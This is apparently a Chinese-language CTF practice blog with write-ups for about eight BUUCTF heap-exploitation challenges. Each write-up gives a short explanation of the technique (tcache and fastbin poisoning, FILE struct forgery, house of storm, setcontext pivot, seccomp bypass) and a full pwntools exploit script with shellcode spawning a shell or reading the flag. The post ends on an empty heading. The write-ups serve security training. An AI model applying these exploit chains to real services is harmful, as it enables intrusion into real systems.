BUUCTF pwn 四月刷题

BUUCTF四月刷题

[OGeek2019]bookmanager

这道题程序看似比较复杂,实际上好好分析程序的结构和逻辑之后,还是一个堆溢出,在updata函数中更新text时候可以更新0xFF长度的内容,造成溢出。这类题比较重要的是一定要弄清楚程序中的各种结构再下手。
libc泄漏的手段还是通过small bin free进unsorted bin之后打印出main_arena附近的地址;get shell是通过堆溢出修改FD指针打malloc hook,惊喜的是,居然不用realloc来调节栈地址了,直接用one gadget就打通了。

from pwn import *

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 25457)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add_chapter(chapter):
	io.recvuntil("choice:")
	io.sendline("1")
	io.recvuntil("name:")
	io.send(chapter)

def add_section(chapter, section):
	io.recvuntil("choice:")
	io.sendline("2")
	io.recvuntil("into:")
	io.sendline(chapter)
	io.recvuntil("0x")
	section_ptr =  int(io.recvuntil("\n")[:-1], 16)
	io.recvuntil("name:")
	io.send(section)
	return section_ptr

def add_text(section, size, text):
	io.recvuntil("choice:")
	io.sendline("3")
	io.recvuntil("into:")
	io.sendline(section)
	io.recvuntil("write:")
	io.sendline(str(size))
	io.recvuntil("Text:")
	io.send(text)

def remove_chapter(chapter):
	io.recvuntil("choice:")
	io.sendline("4")
	io.recvuntil("name:")
	io.sendline(chapter)

def remove_section(section):
	io.recvuntil("choice:")
	io.sendline("5")
	io.recvuntil("name:")
	io.sendline(section)

def remove_text(text):
	io.recvuntil("choice:")
	io.sendline("6")
	io.recvuntil("name:")
	io.sendline(text)

def preview():
	io.recvuntil("choice:")
	io.sendline("7")

def update_text(section, text):
	io.recvuntil("choice:")
	io.sendline("8")
	io.recvuntil("Text):")
	io.sendline("Text")
	io.recvuntil("name:")
	io.sendline(section)
	io.recvuntil("New Text:")
	io.send(text)


io.recvuntil("create: ")
io.sendline("start")

add_chapter("c0")
add_section("c0", "s0")
add_text("s0", 0x90, "aaa")
add_section("c0", "s1")
add_section("c0", "s2")
add_section("c0", "s3")
add_section("c0", "s4")

remove_text("s0")
add_text("s0", 0x90, "a"*0x8)

preview()
io.recvuntil("Text:aaaaaaaa")
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena - 0x3c4b20
print "main arena: " + hex(main_arena)
print "libc addr: " + hex(libc_addr)

# edit fd to attack malloc hook
add_text("s1", 0x60, "aa")
add_text("s2", 0x60, "aa")

remove_text("s2")

fake_fd = main_arena - 0x33
payload = "\x00"*0x60
payload += p64(0x0)
payload += p64(0x71)
payload += p64(fake_fd)
update_text("s1", payload)

add_text("s3", 0x60, "aa")

one_gadget = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.symbols["__libc_realloc"]

add_text("s4", 0x60, "a")

payload = "a"*0xb
payload += p64(one_gadget)
payload += p64(realloc_addr)
update_text("s4", payload)

#debug("b *$rebase(0xF5F)")

io.recvuntil("choice:")
io.sendline("1")

io.interactive()

pwnable_seethefile

第一次做IO FILE的题目,记录一下。程序在exit功能处有一个bss段上的溢出,可以覆盖file指针,于是思路就是将file指针指向伪造的FILE struct结构体,并同时将vtable指针指向有是system的区域。

有几个注意点:

  1. 泄漏libc的方法是通过读取这个文件/proc/self/maps,找到libc地址
  2. 32bit下_IO_FILE结构体的大小是0x94,也就是vtable的偏移是0x94
  3. 构造FILE结构体只需要关注两个变量,第一个为FILE结构体的_flags字段,只需要_flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)。将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以’;'开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可。其中要注意的是_flags位送入的时候要符合小段法的原则,送入“\xff\xdf\xff\xff”,而不是"\xff\xff\xdf\ff",这样才能直接调用_IO_FINISH(fp)
  4. BUUCTF没有给libc文件,应该是漏了,pwnable.tw有对应的libc文件
from pwn import *

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 26869)
#io = remote("chall.pwnable.tw", 10200)
libc = ELF("./libc_32.so.6")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def open(file_name):
	io.recvuntil("choice :")
	io.sendline("1")
	io.recvuntil("see :")
	io.sendline(file_name)

def read():
	io.recvuntil("choice :")
	io.sendline("2")

def write():
	io.recvuntil("choice :")
	io.sendline("3")

def close():
	io.recvuntil("choice :")
	io.sendline("4")

def exit(name):
	io.recvuntil("choice :")
	io.sendline("5")
	io.recvuntil("name :")
	io.sendline(name)

open("/proc/self/maps")
read()
write()

io.recvline()
io.recvline()
io.recvline()
io.recvline()
libc_addr = int(io.recv(8), 16) + 0x1000
print "libc addr: " + hex(libc_addr)
close()

system_addr = libc_addr + libc.symbols["system"]


open("/proc/self/maps")
fake_file_addr = 0x0804B300

payload = "a"*0x20
payload += p32(fake_file_addr)	#addr:0x0804B280
payload += "\x00"*0x7c
payload += "\xff\xdf\xff\xff;sh".ljust(0x94, "\x00")   #addr:0x0804B300 fake file struct
payload += p32(fake_file_addr+0x94+4)	##addr:0x0804B394 vtable
payload += p32(0x0) * 2
payload += p32(system_addr)

exit(payload)


io.interactive()

ciscn_2019_en_3

读取ID的时候,由于用的read函数,没有\x00的截断,所以在下面puts的时候就可以泄漏出栈上的地址,进而得到libc基址。然后就是tcache double free,打__free_hook,最后执行system("/bin/sh")

from pwn import *

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 25940)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def debug():
	gdb.attach(io)

def add(size, content):
	io.recvuntil("choice:")
	io.sendline("1")
	io.recvuntil("story: \n")
	io.sendline(str(size))
	io.recvuntil("story: ")
	io.send(content)

def delete(index):
	io.recvuntil("choice:")
	io.sendline("4")
	io.recvuntil("index:\n")
	io.sendline(str(index))


io.recvuntil("name?\n")
io.sendline("coco")
io.recvuntil("ID.\n")
io.send("a"*8)

io.recvuntil("a"*8)
libc_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x81237
print "libc addr: " + hex(libc_addr)

add(0x30, "a")
add(0x20, "/bin/sh\x00")
delete(0)
delete(0)

add(0x30, p64(libc_addr + libc.symbols["__free_hook"]))
add(0x30, "a")
add(0x30, p64(libc_addr + libc.symbols["system"]))

delete(1)

#debug()

io.interactive()

de1ctf_2019_weapon

这道题没有puts函数,所以这里用stdout来泄漏libc。将一个0x70的chunk同时放入fastbin和unsorted bin中,这样就可以在fastbin的fd指针踩出libc中的地址,然后修改后几位(有一位需要爆破),让fd指针指向_IO_2_1_stdout_结构体所在的fake chunk,修改_flag和write base,使得打印出libc中的地址。最后打malloc hook来get shell。
注意点:

  1. 修改了stdout之后,再调用puts不会输出\n了,要相应的做修改
  2. 需要爆破的题目都可以使用IPython的embed功能进行调试
#coding=utf-8
from pwn import *
from IPython import embed as ipy

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if not command:
		gdb.attach(io)
	else:
		gdb.attach(io, command)
def create(size, index, content, flag=0):
	if flag:
		io.recvuntil("choice >> ")
	else:
		io.recvuntil("choice >> \n")
	io.sendline("1")
	io.recvuntil("weapon: ")
	io.sendline(str(size))
	io.recvuntil("index: ")
	io.sendline(str(index))
	if flag:
		io.recvuntil("name:")
	else:
		io.recvuntil("name:\n")
	io.send(content)

def delete(index, flag=0):
	if flag:
		io.recvuntil("choice >> ")
	else:
		io.recvuntil("choice >> \n")
	io.sendline("2")
	io.recvuntil("idx :")
	io.sendline(str(index))

def rename(index, content, flag=0):
	if flag:
		io.recvuntil("choice >> ")
	else:
		io.recvuntil("choice >> \n")
	io.sendline("3")
	io.recvuntil("idx: ")
	io.sendline(str(index))
	if flag:
		io.recvuntil("content:")
	else:
		io.recvuntil("content:\n")
	io.send(content)

def exp():

	payload = p64(0) + p64(0x21)
	create(0x10, 0, payload) 	#0
	create(0x60, 1, "a")		#1
	create(0x10, 2, "a")		#2
	create(0x10, 3, "a")		#3

	delete(3)
	delete(2)

	rename(2, p8(0x10))

	create(0x10, 4, "a")

	delete(1)
	payload = p64(0x0) + p64(0x91)
	create(0x10, 5, payload)
	delete(1)

	fake_chunk = 0x75dd

	# debug("b *$rebase(0xC11)")
	# ipy()

	rename(1, p16(fake_chunk))
	rename(5, p64(0x0) + p64(0x71)) #fastbin的大小要改回去,不然malloc时候会出问题


	create(0x60, 7, "a")

	payload = "\x00"*0x33
	payload += p64(0xfbad1800)
	payload += p64(0x0)*0x3
	payload += p8(0x88)
	create(0x60, 8, payload)

	stdin_addr = u64(io.recv(6).ljust(8, "\x00"))
	libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
	print "libc addr: " + hex(libc_addr)

	# 之后puts函数由于stdout结构体被改了,所以不带\n了


	#attack malloc hook
	create(0x60, 9, "a", 1)
	delete(9, 1)
	fake_fd = libc_addr + 0x3c4aed
	rename(9, p64(fake_fd), 1)

	create(0x60, 10, "a", 1)

	'''
	0x45216 execve("/bin/sh", rsp+0x30, environ)
	constraints:
	  rax == NULL

	0x4526a execve("/bin/sh", rsp+0x30, environ)
	constraints:
	  [rsp+0x30] == NULL

	0xf02a4 execve("/bin/sh", rsp+0x50, environ)
	constraints:
	  [rsp+0x50] == NULL

	0xf1147 execve("/bin/sh", rsp+0x70, environ)
	constraints:
	  [rsp+0x70] == NULL
	'''

	one_gadget = libc_addr + 0x4526a
	realloc_addr = libc_addr + libc.symbols["__libc_realloc"]

	payload = "\x00"*0xb
	payload += p64(one_gadget)
	payload += p64(realloc_addr+6)

	create(0x60, 11, payload, 1)

	print "ONE MORE TIME"

	io.recvuntil("choice >> ")
	io.sendline("1")
	io.recvuntil("weapon: ")
	io.sendline("10")
	io.recvuntil("index: ")
	io.sendline("12")

	io.interactive()

if __name__ == '__main__':
	while True:
		#io = process("./pwn")
		io = remote("node3.buuoj.cn", 27402)
		try:
			exp()
			io.close()
		except Exception:
			continue

sctf_2019_one_heap

没有显示相关的函数,于是马上想到打stdout来泄漏libc。题目是部署在ubuntu18的,这个题目思路很值得学习。思路:

  1. double free一个堆块,修改fd指向tcache struct,这里需要爆破一位
  2. 把tcache的count数组全部填为-1,这样之后free 大堆块(超过0x80)的时候就会落入unsorted bin中了。接着把tcache struct整个堆块free掉了,落入了unsorted bin中,并且是last remainder chunk,且已经踩出来libc中的地址了。
  3. 申请一些小堆块,根据last remainder chunk的特性,unsorted bin会被切割且移动,这样我们就能在
    tcache struct中的链表数组处踩出libc中的地址。
  4. 修改tcache struct中的链表数组处踩出libc中的地址的后四位到stdout结构体上,这里需要爆破一位。修改_flag为0xfbad0x1800,修改write base指向chain指针处,即最终能通过puts来泄漏出_IO_2_1_stdin_的地址,从而拿到libc的地址。
  5. 申请一些小堆块,根据last remainder chunk的特性,unsorted bin会被切割且移动,这样我们就能在
    tcache struct中的链表数组修改指向malloc hook的地址。
  6. 打malloc hook,这里要借助realloc函数抬升一下栈。

PS: 这种题调试起来好辛苦,目前只会用IPython来调试,不知道有什么更好的办法。

#coding=utf-8
from pwn import *
from IPython import embed as ipy

#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def new(size, content, flag=0):
	io.recvuntil("choice:")
	io.sendline("1")
	io.recvuntil("size:")
	io.sendline(str(size))
	io.recvuntil("content:")
	if flag:
		io.send(content)
	else:
		io.sendline(content)	#因为是通过\n截断,且不加\x00

def delete():
	io.recvuntil("choice:")
	io.sendline("2")

def exp():

	heap = 0x7000
	stdout = 0x1760

	new(0x70, "")
	delete()
	delete()

	#debug("b *$rebase(0x99F)")	#stop in new
	#debug("b *$rebase(0xD2B)")	#stop in malloc
	#debug("b *$rebase(0x98C)") 	#stop in delete
	#ipy()

	new(0x70, p16(heap+0x10))
	new(0x70, "")
	new(0x70, "\xff"*0x40) #把tcache的count位全部填满
	delete()	#tcache struct进入unsorted bin

	new(0x40, "\xff"*0x30) #根据last remainder的特性,将unsorted bin分成两块
	new(0x10, p16(stdout))

	payload = p64(0xfbad1800) 
	payload += p64(0x0)*3
	payload += p8(0xc8)
	new(48, payload) #修改stdout结构体


	stdin_addr = u64(io.recv(6).ljust(8, "\x00"))
	libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
	print "_IO_2_1_stdin_: " + hex(stdin_addr)
	print "libc addr: " + hex(libc_addr)


	# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
	# constraints:
	#   rcx == NULL

	# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
	# constraints:
	#   [rsp+0x40] == NULL

	# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
	# constraints:
	#   [rsp+0x70] == NULL

	# attack malloc hook

	new(0x10, p64(libc_addr+0x3ebc28))

	one_gadget = libc_addr + 0x4f322
	realloc_addr = libc_addr + libc.symbols["__libc_realloc"]

	payload = p64(one_gadget)
	payload += p64(realloc_addr+9)
	new(112, payload)

	# get shell
	print "ONE MORE TIME!!!!!!"
	io.recvuntil("choice:")
	io.sendline("1")
	io.recvuntil("size:")
	io.sendline("10")

	io.interactive()

if __name__ == '__main__':
	while  True:
		#io = process("./pwn")
		io = remote("node3.buuoj.cn", 29330)
		try:
			exp()
			io.close()
		except Exception:
			continue

sctf_2019_easy_heap

这道题考察的知识点很多:tcache,off by null,unlink,unsorted bin attack等。程序一开始用mmap分配了一块可读可写可执行的区域,并且菜单中没有给显示相关的函数,所以推测是写shellcode到mmap的区域去执行。

  1. 做unlink,获得修改chunk list上内容的机会
  2. 修改unsorted bin中的bk指针,做一次unsorted bin attack。在chunk list中踩出unsroted bin的地址。
  3. 部分修改指针指向malloc hook,在上面写上mmap的地址
  4. 再把chunk list上的指针改成mmap的地址,写入shellcode。

注意点:1. 由于BUUCTF这道题设置在ubuntu18下,要把tcache填满才能释放chunk到unsorted bin中。2. 做unsorted bin attack时候,这里只能用大于0x408的chunk才行,不知道为什么。。3.另外还学到一个好用的gdb script,调试的时候更加方便了

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 25860)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)


gdb_script = '''
b *$rebase(0xC85)
set $ptr=(void **)$rebase(0x202060) 
define pr
	x/16gx $ptr
	end
'''


def alloc(size, flag=0):
	io.recvuntil(">> ")
	io.sendline("1")
	io.recvuntil("Size: ")
	io.sendline(str(size))
	if flag:
		io.recvuntil("Address ")
		ptr_addr = int(io.recvuntil("\n")[:-1], 16)
		return ptr_addr

def delete(index):
	io.recvuntil(">> ")
	io.sendline("2")
	io.recvuntil("Index: ")
	io.sendline(str(index))

def fill(index, content):
	io.recvuntil(">> ")
	io.sendline("3")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Content: ")
	io.send(content)

io.recvuntil("Mmap: ")
mmap_addr = int(io.recvuntil("\n")[:-1], 16)

chunk0_addr = alloc(0x40, 1)	#0
chunk1_addr = alloc(0x48, 1)	#1
alloc(0x4f0)	#2
alloc(0x10)	#3

#fill tcache[0x100]
for i in range(7):
	alloc(0xf0)
for i in range(4, 4+7):
	delete(i)

payload = p64(0x0)
payload += p64(0x41)
payload += p64(chunk1_addr-0x18)
payload += p64(chunk1_addr-0x10)
payload = payload.ljust(0x40, "\x00")
payload += p64(0x40)
fill(1, payload)

delete(2) #unlink

payload = p64(0x130)
payload += p8(0xc8)
payload += "\n"
fill(1, payload)

payload = p64(chunk0_addr-0x10)
payload += "\n"
fill(0, payload)

alloc(0x530) #unsorted bin attack

payload = p64(0x130)
payload += p8(0x30)
payload += "\n"
fill(1, payload)

fill(0, p64(mmap_addr)+"\n") #malloc hook: mmap addr

payload = p64(0x130)
payload += p64(mmap_addr)
payload += "\n"
fill(1, payload)

shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

print shellcode
fill(0, shellcode+"\n")

alloc(0x20)

io.sendline("cat flag")
#debug(gdb_script)

io.interactive()

rctf_2019_babyheap

这道题考察的知识点非常多,难度比较高,有:

  1. Linux seccomp(沙箱)机制,限制execve等系统调用
  2. 通过off by null的前向overlapping
  3. house of storm
  4. setcontext函数作为跳板,迁移栈
  5. mprotect函数
  6. orw的shellcode编写

下面针对上面的知识点来梳理一下:
首先可以看到程序一开始调用了prctl函数,应该是做了一些系统调用的限制,用seccomp-tools dump ./pwn命令来查看具体的限制。看到禁止了execve等调用,那说明应该是要写入orw的shellcode来执行。并且有mallopt(1, 0),禁用了fastbin。

接着,可以看到在edit函数中有个很明显的off by null,这个漏洞可以帮助我们做到堆块的堆叠,这里使用前向的overlapping。举个例子,申请四个堆块,大小分别为0x80,0x40,0x430,0x40。首先free第一个堆块,进入unsorted bin(因为fastbin被禁用了),fd=bk=unsorted bin。通过对第二个堆块edit,把第三个堆块的pre_size改为0xc0(0x80+0x40),又因为off by null,把第三个chunk的size从0x430修改到0x400。然后free第三个堆块,会和前面的堆块合并,再落入unsorted bin中。然后申请一个大小为0x80的堆块, 最后申请一个0x440的堆块,就能达到泄漏libc的目的。

house of storm需要一个可控的unsorted bin和一个可控的large bin,可以申请到任意一个地址的chunk。示例代码为:

A=malloc(0x400-0x10) //A
malloc(0x10)         //gap
B=malloc(0x420-0x10) //B
malloc(0x10)         //gap

free(A)        //free A into unsorted bin.
malloc(0x500)  //sort A into largebin.
free(B)        //free B into unsorted bin.

A+0x18=evil_addr-0x20+8-5  //A->bk_nextsize=evil_addr-0x20+8-5. 
A+0x8=evil_addr+8          //A->bk=evil_addr+8.

B+0x8=evil_addr            //B->bk=evil_addr

malloc(0x48)    //evil_addr are malloced out here.

具体的解释可以参考这个博客:house of storm

通过house of storm得到申请到__free_hook,在上面写上setcontext上面的gadget,把栈迁移到我们可控的一个chunk上,接着执行mprotet,给堆区加上执行的权限,再写入orw的shellcode。

#coding=utf-8
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 26272)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add(size):
	io.recvuntil("Choice: \n")
	io.sendline("1")
	io.recvuntil("Size: ")
	io.sendline(str(size))

def edit(index, content):
	io.recvuntil("Choice: \n")
	io.sendline("2")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Content: ")
	io.send(content)

def delete(index):
	io.recvuntil("Choice: \n")
	io.sendline("3")
	io.recvuntil("Index: ")
	io.sendline(str(index))

def show(index):
	io.recvuntil("Choice: \n")
	io.sendline("4")
	io.recvuntil("Index: ")
	io.sendline(str(index))


add(0x78)	#0
add(0x38)	#1
add(0x420)	#2
add(0x30)	#3

add(0x60)	#4
add(0x20)	#5
add(0x88)	#6
add(0x48)	#7
add(0x420)	#8
add(0x20)	#9


add(0x100)	#10
add(0x400)	#11


# leak libc
delete(0)	# 为了bypass unlink检测
edit(1, "\x00"*0x30 + p64(0xc0))
edit(2, "\x00"*0x3f0 + p64(0x400) + p64(0x31))

delete(2)	# 会触发unlink,前向overlapping
add(0x78) 	#0
show(1)
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena - 0x3c4b78 + 88
print "libc addr: " + hex(libc_addr)

# leak heap
add(0x30)	#2==1
delete(4)	#fd->0x70->0x400
delete(2)	#fd->0x440->0x70
show(1)
heap_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x530
print "heap addr: " + hex(heap_addr)

# calloc from unsortedbin 0x70,0x440 put into largebin
add(0x50)	#2

delete(6)
edit(7, "\x00"*0x40 + p64(0xe0))
edit(8, "\x00"*0x3f0 + p64(0x100) + p64(0x31))
delete(8)

#这里一定要两步,如果直接add(0x80)是不行的,因为last_renmainder没有指向unsorted bin
add(0x430)	#4==1 calloc from large bin
add(0x88)	#6 进入unsorted bin。
add(0x440)	#8==7

# largebin attack--house of storm
delete(4)
delete(8)	#fd->0x450->0x440
add(0x440)	#4=7 put 0x440 into largebin
delete(4)	#put 0x450 into unsortedbin

free_hook = libc_addr + libc.symbols["__free_hook"]

edit(7,p64(0)+p64(free_hook-0x20)) #0x450
edit(1,p64(0)+p64(free_hook-0x20+0x8)+p64(0)+p64(free_hook-0x20-0x18-0x5))#0x440

add(0x48) #4 这里只有chunk的地址为56开头时才会成功


chunk11_addr = heap_addr + 0xc30
setcontext_gadget = libc_addr + 0x47b75
edit(4, "\x00"*0x10 + p64(setcontext_gadget))	#把free hook的地址覆盖成setcontext的gadget地址


'''
[rdi+0xa0] chunk11_addr
[rdi+0xa8] ret;
'''

payload = "\x00"*0xa0 + p64(chunk11_addr) + p64(libc_addr+0x47bbf)
edit(10, payload)


payload = p64(libc_addr + 0x21102)	#pop rdi; ret
payload += p64(heap_addr)
payload += p64(libc_addr + 0x1150c9) #pop rdx; pop rsi; ret
payload += p64(0x7)
payload += p64(0x2000)
payload += p64(libc_addr + libc.symbols["mprotect"]) #mprotect(heap_addr, 0x3000, 7)
payload += p64(chunk11_addr + 0x38)	#jump到shellcode


#open("flag", 0)
#read(0, addr, 0x100)
#write(1, addr, 0x100)

shellcode = """
			mov rax, 0x67616c662f2e
			push rax

			mov rdi, rsp
			mov rsi, 0
			xor rdx, rdx
			mov rax, SYS_open
			syscall				;//open("./flag", 0)

			mov rdi, rax
			mov rsi, rsp
			mov rdx, 0x100		
			mov rax, SYS_read
			syscall				;//read(fp, rsp, 0x100)

			mov rdi, 1
			mov rsi, rsp
			mov rdx, 0x100
			mov rax, SYS_write
			syscall				;//write(1, rsp, 0x100)

			mov rax, SYS_exit
			syscall				;//程序中stdout没有设置不缓冲,所以要exit来fflush stdout缓冲
			"""	

shellcode = asm(shellcode)
payload += shellcode


edit(11, payload)

#debug("b *$rebase(0x12BD)")

delete(10)
io.interactive()

0ctf_2018_heapstorm2

house of storm,简单版本的上一题

#coding=utf-8
from pwn import *

#context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

gdb_script = '''
			set $ptr=(void **)0x13370800 
			define pr
				x/16gx $ptr
			end	
			b *$reabse(0xDE6)
			 '''

def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add(size):
	io.recvuntil("Command: ")
	io.sendline("1")
	io.recvuntil("Size: ")
	io.sendline(str(size))

def update(index, content):
	io.recvuntil("Command: ")
	io.sendline("2")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Size: ")
	io.sendline(str(len(content)))
	io.recvuntil("Content: ")
	io.send(content)

def delete(index):
	io.recvuntil("Command: ")
	io.sendline("3")
	io.recvuntil("Index: ")
	io.sendline(str(index))

def show(index):
	io.recvuntil("Command: ")
	io.sendline("4")
	io.recvuntil("Index: ")
	io.sendline(str(index))

while  True:

	#io = process("./pwn")
	io = remote("node3.buuoj.cn", 26367)
	add(0x18)	#0
	add(0x508)	#1
	add(0x18)	#2

	add(0x18)	#3
	add(0x508)	#4
	add(0x18)	#5
	add(0x18)	#6

	#overlap
	update(1, "a"*0x4f0 + p64(0x500))	#pre_size=0x500是为了bypass “真正取出chunk”时的unlink检测

	delete(1)	#释放1进入unsorted 0x510, 2的pre_size=0x510,pre_is_use=0
	update(0, "a"*(0x18-12)) #off by nul	#把1的size=0x500

	add(0x18)	#1
	add(0x4d8)	#7

	delete(1)
	delete(2)	#前向合并

	add(0x30)	#1
	add(0x4e8)	#2	2,7重叠

	#overlap
	update(4, "a"*0x4f0 + p64(0x500))
	delete(4)
	update(3, "a"*(0x18-12))
	add(0x18)	#4
	add(0x4d8)	#8
	delete(4)
	delete(5)
	add(0x40)	#4

	# 把大的放入unsorted bin,小的放入largebin
	delete(2)	#fd->0x4f0->0x4e0
	add(0x4e8)	#2, 此时0x4e0进入largebin,且可以通过8来控制其中的内容
	delete(2)	#此时0x4f0进入usorted bin,且可以通过7来控制其中的内容

	#house of storm
	fake_chunk = 0x133707f0
	#unsorted->bk = fake_chunk
	update(7, "\x00"*0x18+p64(0x4f1)+p64(0x0)+p64(fake_chunk)+p64(0x0)*2)
	#largebin->bk = fake_chunk+8
	#largebin->bk_nextsize = fake_chunk-0x18-5
	update(8, "\x00"*0x28+p64(0x4e1)+p64(0x0)+p64(fake_chunk+8)+p64(0x0)+p64(fake_chunk-0x18-5))
	try:
		add(0x48)	#2 通过house of storm申请到了存放ptr和size的区域。

		#修改ptr和size区域的值
		payload = p64(0x0)*2
		payload += p64(0x13377331)
		payload += p64(0x0)
		payload += p64(0x13370848)	#ptr0:这个位置存放着heap的地址
		payload += p64(0x40)			#size0
		update(2, payload)

	except Exception:
		io.close()
		continue

	#泄漏heap
	show(0)
	io.recvuntil("Chunk[0]: ")
	heap = u64(io.recv(6).ljust(8, "\x00")) - 0x28
	print "heap addr: "  + hex(heap) 

	#泄漏libc
	payload = p64(0x0)
	payload += p64(heap+0x70)
	payload += p64(0x20)
	update(0, payload)
	show(3)

	io.recvuntil("Chunk[3]: ")
	main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
	libc_addr = main_arena - 0x3c4b20
	print "libc addr: " + hex(libc_addr)

	#打free hook
	payload = p64(0x0)
	payload += p64(libc_addr + libc.symbols["__free_hook"])
	payload += p64(0x30)
	payload += p64(0x13370868)
	payload += "/bin/sh\x00"
	update(0, payload)

	update(3, p64(libc_addr + libc.symbols["system"]))
	delete(4)


	#debug(gdb_script)

	io.interactive()

SWPUCTF_2019_p1KkHeap

考点:

  1. tacache struct attack
  2. orw shellcode

另外限制了free的次数和总共操作的次数,要稍微优化一下代码。

#coding=utf-8
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

#io = process("./pwn")
io = remote("node3.buuoj.cn", 28253)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

gdb_script = '''
			set $ptr=(void **)$rebase(0x202100) 		
			define pr
				x/20gx $ptr
			end
			set $size=(void **)$rebase(0x2020E0) 		
			define sz
				x/20wx $size
			end
			set $count=(void **)$rebase(0x202024) 		
			define ct
				x/10gx $count
			end
			'''


def debug(command=None):
	if command:
		gdb.attach(io, command)
	else:
		gdb.attach(io)

def add(size):
	io.recvuntil("Choice: ")
	io.sendline("1")
	io.recvuntil("size: ")
	io.sendline(str(size))

def show(index):
	io.recvuntil("Choice: ")
	io.sendline("2")
	io.recvuntil("id: ")
	io.sendline(str(index))

def edit(index, content):
	io.recvuntil("Choice: ")
	io.sendline("3")
	io.recvuntil("id: ")
	io.sendline(str(index))
	io.recvuntil("content: ")
	io.send(content)

def delete(index):
	io.recvuntil("Choice: ")
	io.sendline("4")
	io.recvuntil("id: ")
	io.sendline(str(index))


add(0x100)	#0

#double free
delete(0)
delete(0)

#leak heap addr
show(0)
io.recvuntil("content: ")
heap_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x260
print "heap addr: " + hex(heap_addr)

#modify fd to tcache struct
add(0x100)	#1
edit(1, p64(heap_addr+0x10))
add(0x100)	#2
add(0x100)	#3

payload = "\xff"*0x40
payload += p64(0x0) * 7
payload += p64(0x66660000)
edit(3, payload)

#leak libc
add(0x10)	#4
delete(0)
show(0)
io.recvuntil("content: ")
main_area = u64(io.recv(6).ljust(8, "\x00")) - 96
libc_addr = main_area - 0x3ebc40
print "libc addr: " + hex(libc_addr)

add(0x88)	#5			count=14
shellcode = """
			mov rax, 0x67616c662f2e
			push rax

			mov rdi, rsp
			mov rsi, 0
			xor rdx, rdx
			mov rax, SYS_open
			syscall				;//open("./flag", 0)

			mov rdi, rax
			mov rsi, rsp
			mov rdx, 0x100		
			mov rax, SYS_read
			syscall				;//read(fp, rsp, 0x100)

			mov rdi, 1
			mov rsi, rsp
			mov rdx, 0x100
			mov rax, SYS_write
			syscall				;//write(1, rsp, 0x100)

			mov rax, SYS_exit
			syscall				;//程序中stdout没有设置不缓冲,所以要exit来fflush stdout缓冲
			"""	
shellcode = asm(shellcode)
print len(shellcode)
edit(5, shellcode)


malloc_hook = libc_addr + libc.symbols["__malloc_hook"]
payload = "\xff"*0x40
payload += p64(malloc_hook)
edit(3, payload)

add(0x18)	#6
edit(6, p64(0x66660000))

#get flag
add(0x10)

#debug(gdb_script)
io.interactive()

hwb_2019_mergeheap

